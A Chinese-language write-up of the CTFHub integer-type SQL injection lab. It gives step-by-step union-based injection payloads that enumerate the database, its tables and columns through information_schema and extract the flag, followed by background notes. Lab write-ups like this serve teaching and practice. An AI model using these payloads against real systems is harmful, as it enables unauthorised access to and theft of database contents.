SQL注入学习记录 CTFHub SQL注入 整数型注入

首先进入界面可以看见这样:
SQL注入学习记录 CTFHub SQL注入 整数型注入_第1张图片
很明显输入框就是注入口,分别输入1,1 and 1=1,1 and 1=2
SQL注入学习记录 CTFHub SQL注入 整数型注入_第2张图片SQL注入学习记录 CTFHub SQL注入 整数型注入_第3张图片在这里插入图片描述
后者返回值与前两者不同,说明存在注入点。
然后通过order by x找出该数据表的字段数量,输入1 order by 11 order by 2,返回结果相同,输入1 order by 3返回结果不同,证明字段数为2。
在这里插入图片描述在这里插入图片描述在这里插入图片描述
然后通过union注入,输入-1 union select 1,2,回显结果:
SQL注入学习记录 CTFHub SQL注入 整数型注入_第4张图片
说明在-1 union select 1,2中,1,2的位置都能回显。
所以输入-1 union select 1,database(),爆出数据库名:
SQL注入学习记录 CTFHub SQL注入 整数型注入_第5张图片
得到数据库名sqli,接着输入-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli',爆出sqli库中的表名:
在这里插入图片描述
得到表名news和flag,很明显flag就在表flag中。
然后输入-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag',爆出列名:
在这里插入图片描述
得到列名flag,最后输入-1 union select 1,group_concat(flag) from sqli.flag,爆出字段内容:
在这里插入图片描述
拿到flag!

知识点

一、常用函数

1、database():当前网站使用的数据库
2、version():当前MySQL版本
3、user():当前MySQL的用户

二、MySQL默认有“information_schema”的数据库,该库中有三个表名:

1、SCHEMATA:存储该用户创建的所有数据库的库名,记录库名的字段为SCHEMA_NAME。
2、TABLES:存储该用户创建的所有数据库的库名和表名,记录库名和表名的字段为TABLE_SCHEMA和TABLE_NAME。
3、COLUMNS:存储该用户创建的所有数据库的库名、表名和字段名,库名、表名和字段名为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME。

三、union注入

union操作符将两个SQL查询语句连接了起来,当设置id参数为-1时,由于没有id=-1的数据,因此会返回union后的查询语句的结果。

你可能感兴趣的:(CTF学习)